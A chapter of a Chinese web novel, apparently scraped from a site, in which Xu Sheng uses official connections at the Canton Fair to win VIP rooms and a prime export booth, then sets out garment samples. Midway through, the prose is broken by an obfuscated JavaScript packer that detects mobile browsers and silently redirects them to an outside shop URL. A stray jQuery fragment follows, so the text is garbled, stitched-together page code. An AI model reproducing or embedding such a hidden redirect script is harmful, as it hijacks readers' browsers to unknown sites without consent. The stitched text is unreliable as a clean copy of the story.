大雷嫂拿过茶杯,手都是发抖的。
她转过头来看着徐胜,眼里全是“这是怎么回事”的问号。
徐胜端起茶杯喝了一小口,什么都没有说。
不到十分钟,大厅门口就传来了急促的脚步声。
一位五十多岁的男人身穿深灰色西装快步走进来,头发梳的很整齐,鼻梁上戴着金丝眼镜,胸前挂着广交会组委会的红色胸牌。
“徐胜同志?”男人进屋后四处张望。
徐胜站起来说:“我是。”
“哎呀,可算把你等到了!”
男人快步走到徐胜面前,双手握着徐胜的手用力摇晃着,“我叫张明轩,是广交会组委会副秘书长。”
“顾振华顾老是我的五十年代留苏的老同学,一个星期前他就给我打电话说你要来广州,让我一定要好好的照顾你。”
徐胜不由得感慨,顾振华这个岳父,做事真是滴水不漏。
“张叔,让您费心了。”
徐胜放低姿态说,“我刚到,本来想安定下来再去拜访您。”
“你是想要来拜访我,但是我要是知道你已经到了,还会让你在前台受这个气?”
张明轩一转头,看向那两个前台服务员,眼神变的非常冷淡。
“你们两个,是怎么搞的?”张明轩的声音很低沉。
“广交会组委会三令五申,凡是省里推荐的重点参展企业,都要按最高规格接待。徐胜同志的名字,我一个星期前就发到了你们宾馆经理办公室。你们的经理没有告诉你们吗?”
高个子服务员的脸色立刻变得惨白,嘴唇颤抖着说不出话来。
“经理呢?”张明轩问道。
矮个子服务员赶紧跑到后面去叫人。
不到两分钟,宾馆的黄经理就小跑着出来了,一边跑一边整理衣服。
“张秘书长!张秘书长!我现在就去……”
“黄经理。”张明轩摆了摆手,打断了他的话,“徐胜同志,周秘书,还有这位大雷嫂同志,都安排到六楼的贵宾套间。”
“徐胜同志一间,周秘书一间,大雷嫂同志一间,都是最好的房间。”
“哎,哎,马上安排!”黄经理马上点头。
“另外——”张明轩停顿了一下,“徐胜同志在广交会的展位要重新调整。原来定在二号馆走廊尽头是吧?调到一号馆‘出口创汇区’的B7号。”
黄经理愣了一下:“张秘书长,B7号那个位置……”
“就是B7号。”张明轩态度很坚决,“我一会儿就去展位办公室办理手续。”
黄经理不敢再说话了,马上点了点头。
此时两个前台服务员已经吓得脸色发青了。
高个子服务员低下头来小声说:“对唔住,徐总……”
徐胜摆了摆手:“过去了。以后要好好的干。”
大雷嫂在一旁看得目瞪口呆。
她这辈子见过村里的干部,也见过县里的干部,但是还没有见过这样的阵势。
省城打来的一个电话就把宾馆经理都给叫过来了。
她扭头看着徐胜,眼神里有一种说不出的敬畏感。
徐胜很平静,跟张明轩寒暄了几句之后就跟着服务员上了六楼。
六楼的贵宾套间要比三楼的好很多。
铺的是枣红色的地毯,窗帘是丝绸做的,卫生间里还有抽水马桶和淋浴设备。
大雷嫂一进门就看呆了。
“胜子,我……我自己一个人住不了这么大的房子。”大雷嫂站在门口不知道该怎么办。
“住得了。”徐胜说,“你在广交会是我们厂的脸面,所以你要住得体面。”
大雷嫂“哦”了一声,胆战心惊的进去,蹲下身来摸了摸床单,又摸了摸被子。
她这一生也没有睡过这么厚的被子。
隔壁徐胜的房间,周秘书敲门进来了。
“胜子。”周秘书压低了声音说,“你把展位一调,一号馆的国营大厂们就要炸锅了。”
“炸就炸吧。”徐胜端着茶杯,“顾老叫我来,并不是让我当配角。”
周秘书笑着说:“你这脾气,跟顾老一个样。”
……
第二天一早,徐胜就去了一号馆看展位。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750534|208959||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一号馆是广交会的主要场馆,位于流花湖对岸的展馆大楼内。
徐胜来的时候,各个展位正在布置,进进出出的人很多,都是各省的大厂代表,上海纺织进出口公司,天津第一服装厂,北京红都服装厂等等,都是响当当的名字。
一号馆中间是“出口创汇区”,只给可以创汇的重点企业使用。
B7号位就在这个区域入口处,正对着主通道,位置非常优越。
徐胜带着大雷嫂手里拿着两个铁皮箱走到这的时候,隔壁A8号展位上有一个胖子厂长正指挥着几个工人挂横幅。
胖子厂长扭头看了一眼B7号,见徐胜将箱子放下后,皱起了眉头。
“哎,那个地方不是空着的吗?”
胖子厂长对他的秘书喊,“我记得组委会说这个位置是备用的。”
秘书马上跑到B7号展位处看牌子,回来后对厂长说:“厂长,牌子上写着‘清河县红光服装厂’。”
“清河县?”胖子厂长愣了一下,“是哪个省的清河县?”
“看介绍信是北方省的。”秘书说。
胖子厂长“嗤”了一下:“北方一个小县城里的工厂,怎么会被安排到出口创汇区来呢?这不是乱来嘛。”
他扭头看向徐胜的方向,眼中带着“瞧不起”的眼神。
徐胜没有搭理他,让大雷嫂把箱子里的样衣一件一件的挂出来。
打开铁皮箱之后,一股淡淡的樟脑味飘出来。
里面的样衣被蓝布包裹着,一件接一件的取出来挂在展示架上。
第一件是男士新中式衬衫,深灰色真丝混纺材质,翻领设计,在胸口的位置有一个小口袋。
当把领口打开之后就可以看到里面的一颗暗红色的五角星,并且用金线勾勒出边框。
第二件是女式改良海派旗袍,月白色底子,在领口到袖口的地方用垫绣绣了一朵大红牡丹,立体的花瓣一层层叠起,如同真实的花朵一般。
大雷嫂一件一件的挂上去,动作很快。
这几天她在火车上把每件衣服的尺寸,颜色,绣工都记住了,每一件挂的位置事先都想好了。